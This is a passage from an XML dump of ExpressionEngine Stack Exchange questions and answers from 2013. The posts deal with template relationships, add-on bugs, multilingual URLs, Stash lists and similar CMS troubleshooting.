editor.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="136" LastEditorUserId="136" LastEditDate="2013-08-20T11:31:36.977" LastActivityDate="2013-08-20T16:36:05.933" Title="EE 2.6.1. Combine relationships and related categories for editorial workflow" Tags="|relationships|variable|sessions|related-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12923" PostTypeId="1" AcceptedAnswerId="15306" CreationDate="2013-08-20T11:12:27.670" Score="2" ViewCount="92" Body="&lt;p&gt;I'm using Expresso Store 1.6.4 and EE 2.6.0.  The inline errors are not working, the page just refreshes to the site homepage.  If I remove the inline errors, the default EE error page displays correctly.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll just mention that we're also using Boldmindeds Publisher on this site as well, which has caused some issues on other parts of the site, so that could be an explanation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, &lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2013-11-01T22:29:02.697" Title="Expresso Store Inline Errors Not Working" Tags="|expresso-store|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12924" PostTypeId="1" AcceptedAnswerId="12925" CreationDate="2013-08-20T11:20:48.087" Score="2" ViewCount="489" Body="&lt;p&gt;There are several portions of my site that rely upon self referencing relationships, that are (or rather were) gathered through the reverse_related_entries tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quick example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a channel for press releases. One of the attributes of that channel is a relationship called translations, which points to its own channel, press releases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a PR is entered it is usually in English only. Often though, there will be other translations of that same PR, so when they go into the system, the relationship attribute is used to “point” to the origin press release.&#xA;Then in a template where the origin press release is being shown, I used a reverse_related_entries pair to loop through and show me all the other language press releases that pointed to “this” one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, I’ve just upgraded to 2.6.x from 2.5.x and all my templates which used relationships in any way are now broken, because there is no backwards compatibility here. Sucks big time, but what can ya do…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, as sexy as the re-designed relationship functionality looks to be at first glance, I cannot for the life of me figure out how to reproduce what I was doing before. Everything seems to rely on being&#xA;inside of a exp:channel:entries call where the channel in question has clear relationships downward to children. It’s a bit confusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the scenario I’ve described above, is there anybody alive who can tell me how to duplicate the reverse_related_entries functionality in the new format?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m truly desperate here and any help is hugely appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andy&lt;/p&gt;&#xA;" OwnerUserId="1922" LastActivityDate="2013-08-20T11:39:13.253" Title="are reverse relationships still possible in 2.6.1" Tags="|relationships|reverse-related-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12925" PostTypeId="2" ParentId="12924" CreationDate="2013-08-20T11:39:13.253" Score="3" Body="&lt;p&gt;I think the &lt;code&gt;{parents}&lt;/code&gt; tag is what you're looking for.  Where other articles are essentially &quot;pointing&quot; to this one, you should be able to do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;Also available in:&amp;lt;/h2&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;{parents field=&quot;original_article_relationship_field_name&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{parents:url_title}&quot;&amp;gt;{parents:language}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/parents}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The nearest example in the EE documentation is &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#the-pizza-shop&quot; rel=&quot;nofollow&quot;&gt;The Pizza Shop&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="900" LastActivityDate="2013-08-20T11:39:13.253" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12926" PostTypeId="1" CreationDate="2013-08-20T11:40:39.567" Score="1" ViewCount="281" Body="&lt;p&gt;I am using Transcribe add-on which does a good job in managing a multi lingual site. I would like to take advantage of the option to include the language abbreviation as a prefix on the url but having problems with producing a &quot;clean&quot; url for pages with language prefix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, with the language prefix switched on (&quot;es&quot; for Spanish), the system generates these types of urls domain-name.com/index.php/es/page-name instead of domain-name.com/page-name. I would like to use the prefix without the &quot;index.php&quot; that preceeds it but not sure how to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already have the normal bit of htaccess code that removes &quot;index.php&quot; from tempalte groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="789" LastActivityDate="2013-10-19T12:58:57.630" Title="How to remove &quot;index.php&quot; from Transcribe's language prefix" Tags="|multi-language|transcribe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12927" PostTypeId="2" ParentId="12926" CreationDate="2013-08-20T11:50:20.813" Score="2" Body="&lt;p&gt;I think I got it to work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the add-on language prefix option turned on, the add-on prefixes urls with “index.php/es” like this &lt;a href=&quot;http://domain-name.com/index.php/es&quot; rel=&quot;nofollow&quot;&gt;http://domain-name.com/index.php/es&lt;/a&gt;, &lt;a href=&quot;http://domain-name.com/index.php/es/page-name&quot; rel=&quot;nofollow&quot;&gt;http://domain-name.com/index.php/es/page-name&lt;/a&gt;, etc. I created a new template group called “es” and it seems the existing htaccess code that removes “index.php” from templates groups has dealt with it. So now these links with just the language prefix work &lt;a href=&quot;http://domain-name.com/es&quot; rel=&quot;nofollow&quot;&gt;http://domain-name.com/es&lt;/a&gt; and &lt;a href=&quot;http://domain-name.com/es/page-name&quot; rel=&quot;nofollow&quot;&gt;http://domain-name.com/es/page-name&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="789" LastActivityDate="2013-08-20T11:50:20.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12928" PostTypeId="1" AcceptedAnswerId="13071" CreationDate="2013-08-20T12:15:18.397" Score="3" ViewCount="264" Body="&lt;p&gt;Similar to &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9631/assets-in-wygwam-not-displaying-on-front-end-in-ee-2-6-assets-2-1-1-wygwam-2-7-1&quot;&gt;this post&lt;/a&gt; I'm getting incorrect file paths being displayed on the front end when using Assets from within Wygwam. Unlike that post I'm actually getting this rendered on the front end: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{assets_104:{filedir_1}News/3F1A0399_1.jpg}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried the fix referred to in the comments to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't matter how many times I save the entry, so I don't think it's the same issue described &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/11136/assets-in-wygwam-only-inserting-assets-x-on-first-save/11858#11858&quot;&gt;here&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another difference I believe is probably key here is that the Wygwam filed is a Low Variables field type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running EE v2.5.5, &lt;a href=&quot;http://gotolow.com/addons/low-variables&quot; rel=&quot;nofollow noreferrer&quot;&gt;Low Variables&lt;/a&gt; v2.3.5, &lt;a href=&quot;http://devot-ee.com/add-ons/assets&quot; rel=&quot;nofollow noreferrer&quot;&gt;Assets&lt;/a&gt; v2.1.4 &amp;amp; &lt;a href=&quot;http://devot-ee.com/add-ons/wygwam&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wygwam&lt;/a&gt; 3.1.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-08-23T07:25:53.077" Title="Assets URL in Low Variables Wygwam field not displaying on Front end" Tags="|assets|wygwam|pixelandtonic|low-variables|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12929" PostTypeId="1" CreationDate="2013-08-20T12:37:19.137" Score="0" ViewCount="33" Body="&lt;p&gt;We're using the Solspace Primary Category add-on for a site and was wondering if it is possible with this add-on to let users add/edit categories via the Categories tab when publishing an entry, as per the default categories behaviour?&lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2013-08-20T15:46:04.793" Title="Editing categories with Solspace Primary Category" Tags="|solspace|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12930" PostTypeId="2" ParentId="12479" CreationDate="2013-08-20T12:46:42.150" Score="0" Body="&lt;p&gt;Couldn't you modify &lt;a href=&quot;http://buildwithstructure.com/documentation/how_can_i_batch_update_templates_for_existing_entries/&quot; rel=&quot;nofollow&quot;&gt;the provided script&lt;/a&gt; to make it do what you want?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script already takes the serialized data and changes template X to Y. What you want is X changed to something else depending on the listing channel. After looking at the script there's few ways to go about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Get all entry IDs for a specific listing channel and use that to determine which templates get switched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) If listing channels have a base URL segment (such as news, products, staff) you could use that to determine which templates get switched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Structure maps entry ids to template ids. All it should take is few IF conditions to accomplish what you want.&lt;/p&gt;&#xA;" OwnerUserId="316" LastActivityDate="2013-08-20T12:46:42.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12931" PostTypeId="2" ParentId="12913" CreationDate="2013-08-20T12:54:14.020" Score="0" Body="&lt;p&gt;I developed a multi language website without add-ons. The technique I used is good both for subdomains as for different TLDs on the same server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12517/setting-up-sub-domains/12524#12524&quot;&gt;Take a look at my answer&lt;/a&gt;. I can explain again here, if you want to.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-08-20T12:54:14.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12932" PostTypeId="2" ParentId="12913" CreationDate="2013-08-20T13:05:56.263" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Now, I really don't like this because it would break pages which rely&#xA;  on how segments are placed. For example, if I expected segment_3 to be&#xA;  X data in a page without the two-char language code in the url, adding&#xA;  the language code would break that page.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can't you just have a two character language code for each language, even the default one? This way your segment_x variables would always be consisent, segment_1 being the language, segment_2 being the first data segment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or if you have everything else working beautifully, but your only problem is that default language starts data from segment_1 and other languages from segment_2 (seeing for them segment_1 is the language variable) you could just replace the segment_x with your own variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically in your index.php just write a simple IF statement checking if the user is browsing the default language or not and based on that, set segment_x variables to your own variables, maintaining the same logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Default language:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;language = default&lt;/li&gt;&#xA;&lt;li&gt;part_1 = segment_1&lt;/li&gt;&#xA;&lt;li&gt;part_2 = segment_2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Other languages:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;language = segment_1&lt;/li&gt;&#xA;&lt;li&gt;part_1 = segment_2&lt;/li&gt;&#xA;&lt;li&gt;part_2 = segment_3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This way you can use part_1 in your templates and it becomes segment_1 for default language, segment_2 for others.&lt;/p&gt;&#xA;" OwnerUserId="316" LastActivityDate="2013-08-20T13:05:56.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12934" PostTypeId="1" AcceptedAnswerId="12954" CreationDate="2013-08-20T13:21:15.787" Score="2" ViewCount="663" Body="&lt;p&gt;I have entries with the statuses open and featured in my channel &quot;articles&quot;. &#xA;I configured my Relationships field &quot;related_articles&quot; to show articles with &quot;any&quot; status. &#xA;I use this code in my template (all entries belong to the same channel &quot;articles&quot;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;article&quot;}&#xA;         {related_articles}&#xA;        &amp;lt;p&amp;gt;{related_articles:title}&amp;lt;/p&amp;gt;&#xA;         {/related_articles}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I expected to see all titles of all related articles but I got only the entries with the status &quot;open&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to explicitly choose the statuses &quot;open&quot; and &quot;featured&quot; or even only &quot;featured&quot; in the field settings page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added a status=&quot;open|featured&quot; to the channel entries tag.&#xA;The result was always the same: EE gave me the &quot;open&quot; entries. When I limited my entries to &quot;featured&quot; I got nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even added another custom status and tried to display those entries, but that didn´t work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked with PhPMyAdmin, but on the database-level all is fine. My entry has the &#xA;parent_id of 12 and the two articles I added as related have the child_IDs 6 and 2. &#xA;child_ID 6 has the status &quot;open&quot; and will be shown in the template, child_ID 2 has the status &quot;featured&quot; and will not be shown in the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the Relationships field defaults to &quot;any&quot; for all settings options I´m completly clueless, why EE shows this behaviour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know, where EE saves the Relationships-Field settings?&#xA;At least it´s not exp_fieldtypes in the database.&lt;/p&gt;&#xA;" OwnerUserId="136" LastActivityDate="2013-08-20T18:28:45.177" Title="EE 2.6.1 Relationships field options &quot;Limit entries by status&quot; does not work" Tags="|relationships|entries|filter|status|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12935" PostTypeId="2" ParentId="12922" CreationDate="2013-08-20T13:27:37.893" Score="3" Body="&lt;p&gt;Use &lt;a href=&quot;https://github.com/croxton/Stash/&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; - Here's how:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!--  ============================================&#xA;STORE A LIST OF RELATED ARTICLES INTO A LIST&#xA;================================================== --}&#xA;&#xA;{!-- first the manually chosen ones --}&#xA;{exp:stash:set_list name=&quot;rels&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot;}&#xA;    {exp:channel:entries channel=&quot;article&quot;}&#xA;        {related_articles}&#xA;            {stash:the-title}{related_articles:title}{/stash:the-title}&#xA;        {/related_articles}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- next append the automatically chosen ones to the same list. No need for more than 4 --}&#xA;{exp:channel:entries channel=&quot;article&quot; related_categories_mode=&quot;yes&quot; custom_fields=&quot;yes&quot; limit=&quot;4&quot;}&#xA;    {exp:stash:append_list name=&quot;rels&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot;}&#xA;        {stash:the-title}{title}{/stash:the-title}&#xA;    {/exp:stash:append_list}&#xA;{/exp:channel:entries}&#xA;&#xA;{!--  ============================================&#xA;OUTPUT THE DATA&#xA;================================================== --}&#xA;&#xA;{exp:stash:parse process=&quot;end&quot;}&#xA;    &amp;lt;ul&amp;gt;&#xA;    {exp:stash:get_list name=&quot;rels&quot; unique=&quot;yes&quot; limit=&quot;4&quot;}&#xA;        &amp;lt;li&amp;gt;{the-title}&amp;lt;/li&amp;gt;&#xA;    {/exp:stash:get_list}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unique=&quot;yes&quot; will prevent any duplicates, and setting the chosen related articles before the automatically chosen ones will ensure that the former takes precedence over the latter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using a separate embedded template for your display output you won't need the stash:parse tag, but if you're getting and setting in the same template you'll need it here to avoid parse order headaches.&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2013-08-20T16:36:05.933" LastActivityDate="2013-08-20T16:36:05.933" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12936" PostTypeId="1" AcceptedAnswerId="12978" CreationDate="2013-08-20T13:29:14.777" Score="0" ViewCount="43" Body="&lt;p&gt;Hi guys I just installed freeform and cant create a new form when I am inside the form window and click &quot;new form&quot;. The form creation page where I enter the form details opens but there is no create or submit button visible to save my work. Is this only available with pro?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Surely someone else has seen this?&lt;/p&gt;&#xA;" OwnerUserId="1923" LastEditorUserId="159" LastEditDate="2013-08-21T09:32:50.313" LastActivityDate="2013-08-21T09:36:03.187" Title="Freeform 4.0.12 ceate form button missing in firefox ie and chrome" Tags="|ee2|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12937" PostTypeId="1" AcceptedAnswerId="13091" CreationDate="2013-08-20T14:03:14.703" Score="0" ViewCount="88" Body="&lt;p&gt;I have two fields on an older site in EE 1.6.7. I am completely rebuilding the site in EE2, but in the meantime, they have a field I need help with. There are two fields in the entry that are both FF Multi-select fields. One lets them select which fields will be in the lead capture form. The other is to let them select which fields are required. Both fields have the same selections available: First Name, Last Name, E-mail, Phone Number. The fields name is {landing_form_form_fields} and the required field is {form_field_requirements}. I looked for the docs on the old FF Multi-select field but couldn't find anything. Is it possible to nest them like this or do I need to rebuild this somehow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the form, was this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{landing_form_form_fields}&#xA;    {if &quot;{option_name}&quot; == &quot;First Name&quot;}&#xA;        &amp;lt;label for=&quot;firstName&quot;&amp;gt;{form_field_requirements}{if &quot;{option_name}&quot; == &quot;First Name - Required&quot;}* {/if}{/form_field_requirements}First Name&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input id=&quot;firstName&quot; name=&quot;firstName&quot; type=&quot;text&quot; /&amp;gt;&#xA;    {/if}&#xA;    {if &quot;{option_name}&quot; == &quot;Last Name&quot;}&#xA;        &amp;lt;label for=&quot;lastName&quot;&amp;gt;{form_field_requirements}{if &quot;{option_name}&quot; == &quot;Last Name - Required&quot;}* {/if}{/form_field_requirements}Last Name&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input id=&quot;lastName&quot; name=&quot;lastName&quot; type=&quot;text&quot; /&amp;gt;&#xA;    {/if}&#xA;    {if &quot;{option_name}&quot; == &quot;E-mail&quot;}&#xA;        &amp;lt;label for=&quot;email&quot;&amp;gt;{form_field_requirements}{if &quot;{option_name}&quot; == &quot;E-mail - Required&quot;}* {/if}{/form_field_requirements}E-mail&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input id=&quot;email&quot; name=&quot;email&quot; type=&quot;text&quot; /&amp;gt;&#xA;    {/if}&#xA;    {if &quot;{option_name}&quot; == &quot;Phone Number&quot;}&#xA;        &amp;lt;label for=&quot;phone&quot;&amp;gt;{form_field_requirements}{if &quot;{option_name}&quot; == &quot;Phone Number - Required&quot;}* {/if}{/form_field_requirements}Phone Number&amp;lt;span class=&quot;right&quot;&amp;gt;XXX-XXX-XXXX&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input id=&quot;phone&quot; name=&quot;phone&quot; type=&quot;text&quot; /&amp;gt;&#xA;    {/if}&#xA;{/landing_form_form_fields}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-10-22T10:01:48.210" Title="EE1 - FF Multi-select inside of another FFMS loop" Tags="|ee1|forms|multiselect|nesting|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12938" PostTypeId="1" CreationDate="2013-08-20T14:06:37.857" Score="1" ViewCount="54" Body="&lt;p&gt;We did a site a while back and they have been shipping products all over the country as well as internationally. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They were able to ship something as recently as last month and now they are unable to get international shipping rates. It is saying &quot;No Shipping Options Available&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Brilliant Retail 1.0.2.5 and EE v2.1.3. &lt;/p&gt;&#xA;" OwnerUserId="1304" LastActivityDate="2013-11-14T18:34:20.670" Title="USPS International Shipping not working all the sudden" Tags="|ecommerce|brilliantretail|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12939" PostTypeId="2" ParentId="10822" CreationDate="2013-08-20T14:07:50.907" Score="0" Body="&lt;p&gt;I also have the problem with EE 2.6.1 I checked &quot;Include user in PUBLISH page multi-author list?&quot; as mentioned above, but users A can´t edit an entry from user B.&#xA;But if user B changes the author from A to B, so that he´s the author, he can edit and save. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not really what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Member Account Privileges are correct for the entire memer group and the individual member.&lt;/p&gt;&#xA;" OwnerUserId="136" LastActivityDate="2013-08-20T14:07:50.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12941" PostTypeId="2" ParentId="12938" CreationDate="2013-08-20T14:40:49.277" Score="1" Body="&lt;p&gt;Thanks to @litzinger on Twitter&lt;/p&gt;&#xA;&#xA;&lt;p&gt;USPS came out with an updated API on July 28th the upgraded BR install seems to have this fixed I am going to be looking into updating this for the client so if you absolutely have to stay on the old version of BR like I do let me know.  &lt;/p&gt;&#xA;" OwnerUserId="1304" LastActivityDate="2013-08-20T14:40:49.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12943" PostTypeId="1" AcceptedAnswerId="15016" CreationDate="2013-08-20T15:13:33.017" Score="1" ViewCount="214" Body="&lt;p&gt;When on a https section of an EE page (e.g. &lt;a href=&quot;https://domain.com/account&quot; rel=&quot;nofollow&quot;&gt;https://domain.com/account&lt;/a&gt;) and having a link back to the homepage somewhere in the header, how do I set up the links so that https is not automatically added?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Focus Labs Master Config and in my header snippet I have the url set up like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{path=''}&quot;&amp;gt;Homepage&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have already tried different other combinations like {path='site_index'} but however I put it while on an https page the link turns out to be like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://homepage.com&quot; rel=&quot;nofollow&quot;&gt;https://homepage.com&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2013-10-26T10:53:36.497" Title="How to return to http when on https page?" Tags="|ee2|ssl|http|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12944" PostTypeId="2" ParentId="12943" CreationDate="2013-08-20T15:40:20.957" Score="0" Body="&lt;p&gt;Try just using &lt;code&gt;/&lt;/code&gt; instead of the &lt;code&gt;{path=&quot;&quot;}&lt;/code&gt; variable.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-08-20T15:40:20.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12946" PostTypeId="2" ParentId="12929" CreationDate="2013-08-20T15:46:04.793" Score="1" Body="&lt;p&gt;Sadly, no. It's &lt;a href=&quot;http://www.solspace.com/forums/viewthread/9129/&quot; rel=&quot;nofollow&quot;&gt;an omission they're aware of&lt;/a&gt;, but for the moment it's not available.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-08-20T15:46:04.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12947" PostTypeId="1" CreationDate="2013-08-20T15:56:15.267" Score="1" ViewCount="87" Body="&lt;p&gt;In Assets I can get a response by uploading an image to my 'files' folder, it tells me my thumbs isn't writable but it is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to upload anything else it just keeps spinning like it's doing something, but when I go to developer tools its hit a 500 error on php upload :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; http://hub/system/index.php?S=b7bf798211af97143dedab31f9b776ae2cb9444b&amp;amp;D=cp&amp;amp;C=content_files_modal&amp;amp;M=upload_file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My other folders I can store images in correctly as they are image only folders, and in my specific folder which is all files I can upload anything, it's just this one file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did have another folder pointing to the same location but deleted this, its got full access as I gave iis_usrs full access on all webserver as its an internal intranet only. &#xA;I've disabled XSS filtering. Everything is saying it should work but it isn't please help.&lt;/p&gt;&#xA;" OwnerUserId="1837" LastActivityDate="2013-08-20T15:56:15.267" Title="Assets Uploads files but says an error occured" Tags="|assets|file-uploads|file-manager|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12948" PostTypeId="1" AcceptedAnswerId="12953" CreationDate="2013-08-20T16:01:08.167" Score="3" ViewCount="244" Body="&lt;p&gt;I just installed &lt;a href=&quot;http://www.solspace.com/software/detail/freeform/&quot; rel=&quot;nofollow&quot;&gt;Freeform 4.0.12&lt;/a&gt; and it seems to be completely broken I cant edit or create forms fields or notifications.&#xA;If I try to create a form there inst a submit button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I try to create a field or notification this text appears at the end on the cp page.&#xA; &quot;PHRhYmxlIGNsYXNzPSJtYWluVGFibGUgcGFkVGFibGUgZnJlZWZvcm1fdGFibGUgaGVhZGxlc3MiIHN0eWxlPSJ3aWR0aDoxMDAlOyI+Cjx0Ym9keT4KPHRyPgo8dGQ+PGxhYmVsIGZvcj0iYWxsb3dlZF91cGxvYWRfY291bnQiPkFsbG93ZWQgdXBsb2FkIGNvdW50PC9sYWJlbD48ZGl2IGNsYXNzPSJzdWJ0ZXh0Ij5NYXhpbXVtIHF1YW50aXR5IG9mIGZpbGVz&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an alternative to freeform for EE2 ?&lt;/p&gt;&#xA;" OwnerUserId="1923" LastEditorUserId="27" LastEditDate="2013-08-21T09:29:27.583" LastActivityDate="2013-08-21T09:29:27.583" Title="solspace freeform alternative" Tags="|ee2|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12949" PostTypeId="1" CreationDate="2013-08-20T16:08:27.510" Score="1" ViewCount="32" Body="&lt;p&gt;I use &lt;code&gt;%l&lt;/code&gt; in a Timestamp which results in eg. &lt;code&gt;Friday&lt;/code&gt;. But since I'm on a Swiss server It should say &lt;code&gt;Freitag&lt;/code&gt;. How do I set this to grab the correct translation? Is this a server thing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2013-08-20T16:08:27.510" Title="Date Variable Formatting localisation" Tags="|time|localization|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12950" PostTypeId="1" AcceptedAnswerId="12973" CreationDate="2013-08-20T16:12:23.980" Score="1" ViewCount="49" Body="&lt;p&gt;I'm trying to output a custom field from a channel that stores a formatted date, which gets used for a jQuery datepicker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the following code;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;events&quot; dynamic=&quot;no&quot; orderby=&quot;url_title&quot; sort=&quot;asc&quot;}&#xA;[&quot;{event_date}&quot;],&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I've noticed a problem in that it won't output entries that have a date like 4-9-13. The {event_date} custom field is a simple text field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to be fine for dates stored like; 1-8-13, 12-8-13, 24-8-13, 2-9-13, 3-9-13, 30-9-13 etc - but it just won't output any dates that start with a number 4, 5, 6, 7, 8 or 9.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wondered if anyone knows a way around this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-10-20T09:01:26.460" Title="Problem displaying data when sorting" Tags="|sort|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
